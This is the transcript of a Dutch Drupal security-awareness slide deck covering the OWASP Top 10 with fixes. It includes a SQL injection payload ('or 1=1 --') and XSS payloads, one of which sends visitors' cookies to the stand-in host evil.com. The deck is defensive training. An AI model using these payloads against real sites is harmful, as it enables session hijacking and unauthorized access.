1 / 56

Drupal Security Awareness (2)

Drupal Security Awareness (2). Disclaimer. De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites te hacken. Art. 138a Wetboek van strafrecht. Doelen. Security bewustzijn bevorderen. Welke bedreigingen zijn er?

yukio
Télécharger la présentation

Drupal Security Awareness (2)

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. DrupalSecurity Awareness (2)

  2. Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites te hacken. Art. 138a Wetboek van strafrecht

  3. Doelen • Security bewustzijn bevorderen. • Welke bedreigingen zijn er? • Hoe maak ik m’n Drupal site veiliger?

  4. Agenda • Owasp top 10 - Drupal style • Kwetsbaarheden • Oplossingen • Voorbeelden • Security Modules • Zelf doen? • Webgoat • Damn Vulnerable Drupal App

  5. Wie is dit • L1099xx http://L109958 http://L109958/phpMyAdmin

  6. Waar komen bedreigen vandaan • Automatische scans • Scriptkiddie • Casual hacker • Doelbewuste hacker • Mainstream aanval • Gebruiker • Systeem

  7. OWASP • “The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. • Our mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks.” • Top10, WebGoat, Webscarab.

  8. OWASP Top 10 - 2013 RC • Injection • Broken Authentication and Session Management • Cross-Site Scripting (XSS) • Insecure Direct Object References • Security Misconfiguration • Sensitive Data Exposure • Missing Function Level Access Control • Cross-Site Request Forgery (CSRF) • Using Known Vulnerable Components • Unvalidated Redirects and Forwards

  9. 1. Injection Door de client aangeleverde data wordt verwerkt door een interpreter die het ziet als een commando, een query of als data.

  10. 1. Injection - soorten • SQL injection • Toegang/wijzigen van de database • Voer commando’s uit op de server • LDAP injection • Omzeilen van authenticatie • Header injection • Aanpassen email opdracht • …. Injection • Het misbruiken, waarvoor … is bedoeld

  11. 1. Injection - SQL Scherm:USERNAME:[PERSOONA]PASSWORD:[GEHEIM12] Achtergrond:Mag er toegang worden gegeven aan de gebruiker wanneer: de username is 'PERSOONA' en het wachtwoord is 'GEHEIM12';

  12. 1. Injection - SQL Scherm:USERNAME:[PERSOONA]PASSWORD:[Onbekend of 1=1] Achtergrond:Mag er toegang worden gegeven aan de gebruiker wanneer: de username is 'PERSOONA' en het wachtwoord is ‘Onbekend' of 1=1;

  13. 1. Injection – SQL - Drupal db_query( "SELECT * FROM {users} WHERE name='$name' and pass= '$pass' )->fetchObject(); Payload: wachtwoord' or 1=1 --

  14. 1. Injection – SQL - Drupal Prepared statements! db_query( "SELECT * FROM {users} WHERE name= :name and pass= :pass", array(':name' => $name, ‘:pass' => $pass) )->fetchObject();

  15. 1. Injection – SQL - Drupal Dynamic queries: $query = db_select('users', 'u'); $query ->condition('u.name', $name, '=') ->condition('u.pass', $pass, '=') ->fields('u', array('mail', 'created')); $result = $query->execute();

  16. 1. Injection – SQL - Demo

  17. 1. Injection • 1 plek is al genoeg. • Nieuwe technologieën, nieuwe kansen. • Een oude technologie waar dit mee zou kunnen?

  18. 1. Injection

  19. 2. Broken Authentication and Session Management • Session hijacking / fixation • Sessie timeout / logout • Session ids sterk genoeg, niet herbruikt • Sessie ids niet in url of logs • Standaard in Drupal 

  20. 3. Cross-Site Scripting (XSS) • Een kwaadwillend script wordt terug gegeven in de HTML van een vertrouwde site, waardoor het wordt uitgevoerd.

  21. 3. Cross-Site Scripting (XSS) • Aanval op de website • Een gebruiker stuurt kwaadaardige informatie (HTML/javascript) naar de website. • De website plaatst deze informatie in de webpagina. • De browser voert de informatie (HTML/javascript) uit.

  22. 3. Cross-Site Scripting (XSS)

  23. 3. Cross-Site Scripting (XSS) Resultaat in pagina: <h1>Zoekresultaten</h1> <p>U heeft gezocht op <strong>test</strong></p> <p>3 resultaten</p>

  24. 3. XSS - aanval Kwaadaardige zoekterm: <script> alert(document.cookie); </script>

  25. 3. XSS - aanval Resultaat:

  26. 3. XSS - aanval Resultaat in pagina: <h1>Zoekresultaten</h1> <p>U heeft gezocht op <strong> <script>alert(document.cookie);</script> </strong></p> <p>0 resultaten</p>

  27. 3. XSS - aanval Kwaadaardige zoekterm: <script>document.write('<img src=" http://www.evil.com/log.php?info=' + document.cookie + ' " width="0" height="0">');</script>

  28. 3. XSS - aanval Resultaat in pagina: <imgsrc=“http://www.evil.com/log.php? info=username=administrator;session=A4B3755445C” width="0" height="0">

  29. 3. XSS - aanval • Meerdere soorten • Eenmalig • Terugkerend • DOM based • Misbruiken • Sessie token kapen • Frames • Formulieren • Malware • Acties uitvoeren

  30. 3. XSS - voorkomen Vertrouw NOOIT user-input. Output sanitation: Input wordt binnen gelaten, output wordt veilig gemaakt en verstuurd.

  31. 3. XSS - Drupal

  32. 3. XSS - voorkomen echo t(‘Je favoriete kleur is @color’, array(‘@color’ => $_GET[‘color’])); @ De waarde van de token wordt door check_plain() heen gehaald. % Zelfde als @ alleen wordt er default <em> htmltags toegevoegd. ! Er wordt geen filtering toegepast.

  33. 3. XSS - demo

  34. 3. XSS – code voorbeeld • <a href="?' . $_SERVER["QUERY_STRING"] . '&info=kijkdagen" title="Link naar: Bezichtingslocaties">Bezichtingslocaties</a>

  35. 4. Insecure Direct Object References Directe referentie naar een object • Views • published = Yes • Bestandssysteem • Publieke lokale bestanden aangeboden door de webserver. • Afgeschermde lokale bestanden aangeboden via Drupal.

  36. 5. Security Misconfiguration • Voorbeeld pagina’s, library voorbeelden, test bestanden, documentatie. • Ontwikkel modules. • Default password. • Error logging, systeem informatie. • Rechten, input filters. • Dev, acc en lokale omgevingen.

  37. 5. Security Misconfiguration

  38. 5. Security Misconfiguration Security review

  39. 5. Security Misconfiguration • Ontwikkel modules • Backup/restore • Coder • Devel • Schema • Php Filter • PhpMyAdmin

  40. 6. Sensitive Data Exposure • Beveilig gevoelige informatie • Wachtwoord • Creditcard nummer • Medische informatie • Versleutelde opslag (md5&salt, encrypt) • Versleutelde verzending (SSL, secure login)

  41. 7. Missing Function Level Access Control Drupal authenticatie&authorisatie • hook_menu • 'access arguments' => array('administer site configuration'), • 'access callback' => 'user_edit_access', • 'access arguments' => array(1), • user_acces • user_access('administer site configuration', $account)

  42. 7. Missing Function Level Access Control Url: /user/17/document/89/edit if (user_access(‘edit document’, $account)) { return TRUE; } if (user_access(‘edit document’, $account) && $document->uid == $account->uid) { return TRUE; }

  43. 7. Missing Function Level Access Control • Views contextuele filters • Toegangscontrole • All Demo!

  44. 8. Cross-Site Request Forgery (CSRF) Ingevuld formulier wordt vanaf een andere site naar de website gestuurd.

  45. 8. Cross-Site Request Forgery (CSRF) • Ingelogd als admin in Drupal • Bezoek een kwaadwillende site met CSRF exploit http://MijnDrupal/admin/people/create

  46. 8. Cross-Site Request Forgery (CSRF) • Oplossing: • Zeker weten dat de eigen site de oorsprong van de aanvraag is:Toevoegen van een uniek token aan een formulier.

  47. 8. Cross-Site Request Forgery (CSRF) <input type="hidden" name="form_token" value="Up7ZBmUG77ZHNnmWAn7oM0glHBwU-I-kNjyLarokvMI" /> Het formulier wordt alleen geaccepteerd als er een geldige token wordt meegestuurd. Data-mutaties altijd door een submithandler uitvoeren i.c.m. formulier.

  48. 8. Cross-Site Request Forgery (CSRF) • Bescherming tegen verkeerde data <input type="hidden" name="form_build_id" value="form-1sjoPppdxX2ba-KQBgi_K-VgRKzO76ey63l1ax0CWA8" /> Ingevulde waarden worden alleen geaccepteerd als ze in het formulier gekozen konden worden.

  49. 9.Using Components with Known Vulnerabilities • Hou Drupal up to date!

  50. 9. Using Components with Known Vulnerabilities Automatische scans zoeken naar Known Vulnerabilities

More Related